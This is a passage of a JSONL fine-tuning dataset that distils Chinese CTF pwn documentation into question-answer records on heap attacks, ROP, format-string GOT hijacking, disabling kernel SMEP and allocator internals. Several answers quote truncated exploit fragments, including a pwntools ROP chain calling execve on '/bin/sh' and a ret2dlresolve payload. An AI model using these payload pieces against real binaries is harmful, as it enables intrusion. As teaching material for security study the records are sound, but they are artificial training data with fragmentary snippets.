"ceba0e70e31c6388a8367f68", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "释放内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-071ba212e7163bf412b5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「DEBUG(\"b *0x4006B9\\nc\")」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\")\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“DEBUG(\"b *0x4006B9\\nc\")”展开。\n- ret ''' pop_rdx_pop_rsi_ret=libc.address+0xf5279 payload=flat(['22222222', pop_rdi_ret, next(libc.search(\"/bin/sh\")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 78 ) * '2', stack - 0x30, 0x4006be]) io.sendafter(\">\", payload) io.interactive(...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 697, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "DEBUG(\"b *0x4006B9\\nc\")", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")"], "original_id": "docs-66841330e06951907e36", "original_line": 1263, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "027e6a5905119f28e1b9ee60", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-08616b350a300b0c1b57", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md` 中的章节「通过实例学习 large bin attack 的原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md`\n标题：Large Bin Attack\n章节：Large Bin Attack > 通过实例学习 large bin attack 的原理\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“通过实例学习 large bin attack 的原理”展开。\n- 这里存在这一个利用： 之前做的构造，把 fwd 的 bk_nextsize 指向了另一个地址 ``c victim->bk_nextsize = fwd->bk_nextsize // then victim->bk_nextsize->fd_nextsize = victim;\n- 接着还存着另外一个利用： `c bck = fwd->bk;\n- [图片文件: ./figure/large_bin_attack/large_bin_attack13.png] 这个原本的意思是把从 unsorted bin 中来的 chunk 插入这个序列中，但是这里没有检查合法性。\n- 为空，从 small bin （p1）中分配一个小的 chunk 满足请求 0x90，并把剩下的 chunk（0x330 - 0xa0）放入 unsorted bin 中 也就是说，现在： [图片文件: ./figure/large_bin_attack/large_bin_attack5.png] unsorted bin 中有一个 chunk 大小是 0x330 - 0xa0 = 0x290 large bin 某一个序列的 bin 中有一个 chunk 大小是 0x410 好我们继续调试： [图片文件:...\n- 也就是说现在 unsorted bin 有两个空闲的 chunk，末尾是大小 0x290 大小的 chunk，第一个是 size 为 0x410 的 chunk。\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 3 行，首行 `victim->bk_nextsize = fwd->bk_nextsize`\n- c: 3 行，首行 `addr2->fd_nextsize = victim;`\n- c: 7 行，首行 `bck = fwd->bk;`\n- c: 5 行，首行 `bck->fd = victim;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1940, "chunk_count": 2, "chunk_index": 1, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "通过实例学习 large bin attack 的原理", "heading_path": ["Large Bin Attack", "通过实例学习 large bin attack 的原理"], "original_id": "docs-2d69ebaca0bfbf5afd34", "original_line": 1004, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md", "source_root": "docs", "source_sha256": "a3874f938d038db562e482946f7acdbd2a42c9b39aa915aa7a16ac6ce9d37207", "split": "train", "split_group_key": "f3a8563a017a64ab9700f17c", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Large Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0866ee09fa5745758ed2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「漏洞利用程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > hijack GOT > 例子 > 漏洞利用程序\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞利用程序”展开。\n- ```python from pwn import * from LibcSearcher import LibcSearcher ##context.log_level = 'debug' pwn3 = ELF('./pwn3') if args['REMOTE']: sh = remote('111', 111) else: sh = process('./pwn3')\n- def get(name): sh.sendline('get') sh.recvuntil('enter the file name you want to get:') sh.sendline(name) data = sh.recv() return data\n- def put(name, content): sh.sendline('put') sh.recvuntil('please enter the name of the file you want to upload:') sh.sendline(name) sh.recvuntil('then, enter the content:') sh.sendline(content)\n- tmp = 'sysbdmin' name = \"\" for i in tmp: name += chr(ord(i) - 1)\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 641, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "漏洞利用程序", "heading_path": ["例子", "hijack GOT", "例子", "漏洞利用程序"], "original_id": "docs-33a3b50d62a189794518", "original_line": 862, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "3c5527f305e2a1b09e7cf2fc", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-089d4f9084cb8addf1fa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：Chunk Extend and Overlapping > HITCON Training lab13 > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- ``shell ➜ hitcontraning_lab13 git:(master) file heapcreator heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca...\n\n关键术语：\n- 堆\n- 栈\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `➜ hitcontraning_lab13 git:(master) file heapcreator`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 587, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["Chunk Extend and Overlapping", "HITCON Training lab13", "基本信息"], "original_id": "docs-3648c0178d3d8fc964aa", "original_line": 907, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "f159d3d9372a39ab98ad9fe3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-089e4adf21c9089c0b52", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-code-execution.md` 中的章节「关闭」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-code-execution.md`\n标题：用户代码不可执行\n章节：用户代码不可执行 > x86 - SMEP - Supervisor Mode Execution Protection > 开启与关闭 > 关闭\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 在 /etc/default/grub 的如下两行中添加 nosmep `` GRUB_CMDLINE_LINUX_DEFAULT=\"quiet\" GRUB_CMDLINE_LINUX=\"initrd=/install/initrd.gz\" ` 然后运行 update-grub 并且重启系统就可以关闭 smep。\n- 如果是使用 qemu 启动的内核，我们可以在 -append 选项中添加 nosmep` 来关闭 SMEP。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- defense\n\n代码/命令片段线索：\n- plain: 2 行，首行 `GRUB_CMDLINE_LINUX_DEFAULT=\"quiet\"`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 225, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "关闭", "heading_path": ["用户代码不可执行", "x86 - SMEP - Supervisor Mode Execution Protection", "开启与关闭", "关闭"], "original_id": "docs-5cb88c1624c0e5cfb9fe", "original_line": 681, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/user-code-execution.md", "source_root": "docs", "source_sha256": "21c0cc8d645f75631661d9c1e3b4b9aa7d7f72079688143824e7798e1df23515", "split": "train", "split_group_key": "996877a0b2cdfc0bee81c553", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "defense"], "title": "用户代码不可执行"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/user-code-execution.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-08a218d39836236ebbdf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md` 中的章节「基本结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md`\n标题：内核堆概述\n章节：内核堆概述 > slab allocator > 基本结构\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本结构”展开。\n- > 一个 object 可以理解为用户态 glibc 中的 chunk，不过 object 并不像 chunk 那样需要有一个 header，因为 page 结构体与物理内存间存在线性对应关系，我们可以直接通过 object 地址找到其对应的 page 结构体。\n- slub 版本的 allocator 为现在绝大多数 Linux kernel 所装配的版本，因此本篇文章主要叙述的也是 slub allocator，其基本结构如下图所示： [图片: image.png;\n- kmem_cache 为一个基本的 allocator 组件，其用于分配某个特定大小（某种特定用途）的对象，所有的 kmem\\_cache 构成一个双向链表，并存在两个对应的结构体数组 kmalloc_caches 与 kmalloc_dma_caches。\n- 一个 kmem_cache 主要由两个模块组成： - kmem_cache_cpu：这是一个percpu 变量（即每个核心上都独立保留有一个副本，原理是以 gs 寄存器作为 percpu 段的基址进行寻址），用以表示当前核心正在使用的 slub，因此当前 CPU 在从 kmem\\_cache\\_cpu 上取 object 时不需要加锁，从而极大地提高了性能 - kmem_cache_node：可以理解为当前 kmem_cache 的 slub 集散中心，其中存放着两个 slub 链表： - partial：该...\n- 文件: figure/slub_allocator.png] 我们将 slub allocator 每次向 buddy system 请求得来的单张/多张内存页称之为一个 slub，其被分割为多个同等大小对象（object），每个 object 作为一个被分配实体，在 slub 的第一张内存页对应的 page 结构体上的 freelist 成员指向该张内存页上的第一个空闲对象，一个 slub 上的所有空闲对象组成一个以 NULL 结尾的单向链表。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 954, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "基本结构", "heading_path": ["内核堆概述", "slab allocator", "基本结构"], "original_id": "docs-a5f059dc31e7f1905b09", "original_line": 726, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/heap_overview.md", "source_root": "docs", "source_sha256": "e7a66e37499b742f2c467a797689b8b366f0d217b52739a47ab5db0940b37235", "split": "train", "split_group_key": "2ae753c0d5417ffa65272c27", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "内核堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/heap_overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-09a2ec7ab102f2f5b4c1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「now, we are on the new stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：now, we are on the new stack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“now, we are on the new stack”展开。\n- io.send(p64(0x600B30)) # fake dynstr location io.send(dynstr) # fake dynstr io.send(\"/bin/sh\\x00\") io.interactive() `` 直接运行，发现不行，经过调试发现程序在 0x7f2512db3e69 处崩了。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `直接运行，发现不行，经过调试发现程序在 0x7f2512db3e69 处崩了。`\n- plain: 1 行，首行 `经过逐步调试发现，在 `_dl_runtime_resolve` 会在栈中保存大量的数据`\n- plain: 1 行，首行 `其中 qword_227808 处的值为0x0000000000000380。`\n- plain: 1 行，首行 `当执行完下面的指令后`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3946, "chunk_count": 2, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "now, we are on the new stack", "heading_path": ["now, we are on the new stack"], "original_id": "docs-fc0fbb2b86ae51890f2b", "original_line": 1337, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "9e337e635ba91f4780a75df6", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-09cf890fa2f559b0502a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/browser/chrome/js-engine/mutable-heap-numbers.md` 中的章节「Mutable Heap Numbers」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/browser/chrome/js-engine/mutable-heap-numbers.md`\n标题：Mutable Heap Numbers\n章节：Mutable Heap Numbers\n路径分类：pwn / pwn/browser/chrome\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Mutable Heap Numbers”展开。\n- Floating-point arthmetic ：虽然 Math.random 全程使用整型操作，但 seed 存放在一个通用的 HeapNumber 当中，从而导致编译器生成较慢的浮点数操作指令，以及在编译器已知这可能是一个 32 位整型的情况下仍会需要潜在的 64 位浮点到 32 位整型的转换以及精度损失检查。\n- Mutable heap Int32 ：V8 团队增强了 script context slot 类型以追踪一个数字值是否在 Int32 的范围内，若是则 HeapNumber 将其存放为一个纯 Int32 ，若需要扩展为 double 则不会需要重分配 HeapNumber 的空间；\n- 最终，对于 Math.random 的优化结果如下： - No allocation / fast in-place updates ：seed 的更新不需要重复分配新的堆对象。\n- 堆数量不可变 机制是 2025 年 V8 团队公开的优化机制，其思路来源于于 async-fs 这一 JS 文件系统实现在 Math.random 上的运行瓶颈，例如对于下面的这样一段代码： ``javascript let seed;\n- 相应地，大于 31 位的数据都会存放在堆上，由 ScriptContext 的 Slot 存储指向这些对象的指针，例如对于简单的数值类型据而言会使用一个 HeapNumber 对象存放，对于复杂对象则是 JSObject 结构体一类的。\n\n关键术语：\n- 堆\n- pwn\n- browser\n- chrome\n- js-engine\n- code:javascript\n\n代码/命令片段线索：\n- javascript: 12 行，首行 `let seed;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2486, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Mutable Heap Numbers", "heading_path": ["Mutable Heap Numbers"], "original_id": "docs-a1ca060fbc079dc8860a", "original_line": 629, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/mutable-heap-numbers.md", "source_root": "docs", "source_sha256": "fc54bf212212e905f36e162484a4d1940719a7922b19af65d269e322e5d57e0e", "split": "train", "split_group_key": "7d82caac86843d64957a2938", "subcategory": "pwn/browser/chrome", "terms": ["堆", "pwn", "browser", "chrome", "js-engine", "code:javascript"], "title": "Mutable Heap Numbers"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/mutable-heap-numbers.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0a258db61a656cb68d90", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「申请内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define DEFAULT_TOP_PAD 131072 > 申请内存\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“申请内存”展开。\n- ``c / Don't try to call MORECORE if argument is so big as to appear negative.\n- Note that since mmap takes size_t arg, it may succeed below even if we cannot call MORECORE. / if (size > 0) { brk = (char *)(MORECORE(size));\n- LIBC_PROBE(memory_sbrk_more, 2, brk, size);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 9 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 283, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "申请内存", "heading_path": ["define DEFAULT_TOP_PAD 131072", "申请内存"], "original_id": "docs-9ca6342ad5ee04110f7e", "original_line": 1168, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "0a3489635d9ea5fa567ea166", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0a2b8f7b4ed210a159de", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md` 中的章节「（已过时）UAF 使用同样堆块」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md`\n标题：Change Self\n章节：Change Self > 直接改 cred > 间接定位 > （已过时）UAF 使用同样堆块\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（已过时）UAF 使用同样堆块”展开。\n- 如果我们在进程初始化时能控制 cred 结构体的位置，并且我们可以在初始化后修改该部分的内容，那么我们就可以很容易地达到提权的目的。\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- aim\n- code:c\n\n代码/命令片段线索：\n- c: 6 行，首行 `void __init cred_init(void)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 550, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "（已过时）UAF 使用同样堆块", "heading_path": ["Change Self", "直接改 cred", "间接定位", "（已过时）UAF 使用同样堆块"], "original_id": "docs-0e6fefb412efe05f4b60", "original_line": 665, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "source_root": "docs", "source_sha256": "d1cfeb5ddd01e316391d6982c05f447b84f57f808d2581f0482d9ade31e9e252", "split": "train", "split_group_key": "7ccf5b50aef9939ed3f9d108", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "pwn", "linux", "kernel-mode", "aim", "code:c"], "title": "Change Self"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0ac8cb4e2bcf2ce7abb3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「CTF kernel pwn 相关」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > CTF kernel pwn 相关\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“CTF kernel pwn 相关”展开。\n- 1. boot.sh: 一个用于启动 kernel 的 shell 的脚本，多用 qemu，保护措施与 qemu 不同的启动参数有关 2. bzImage: compressed kernel binary 3. rootfs.cpio: 文件系统映像\n- ``bash CISCN2017_babydriver [master●] ls babydriver.tar CISCN2017_babydriver [master●] x babydriver.tar boot.sh bzImage rootfs.cpio CISCN2017_babydriver [master●] ls babydriver.tar boot.sh bzImage rootfs.cpio CISCN2017_babydriver [master●] file bzImage bzIm...\n- - -initrd rootfs.cpio，使用 rootfs.cpio 作为内核启动的文件系统 - -kernel bzImage，使用 bzImage 作为 kernel 映像 - -cpu kvm64,+smep，设置 CPU 的安全选项，这里开启了 smep - -m 64M，设置虚拟 RAM 为 64M，默认为 128M\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n- code:bash\n\n代码/命令片段线索：\n- bash: 24 行，首行 `CISCN2017_babydriver [master●] ls`\n\n训练边界：\n- 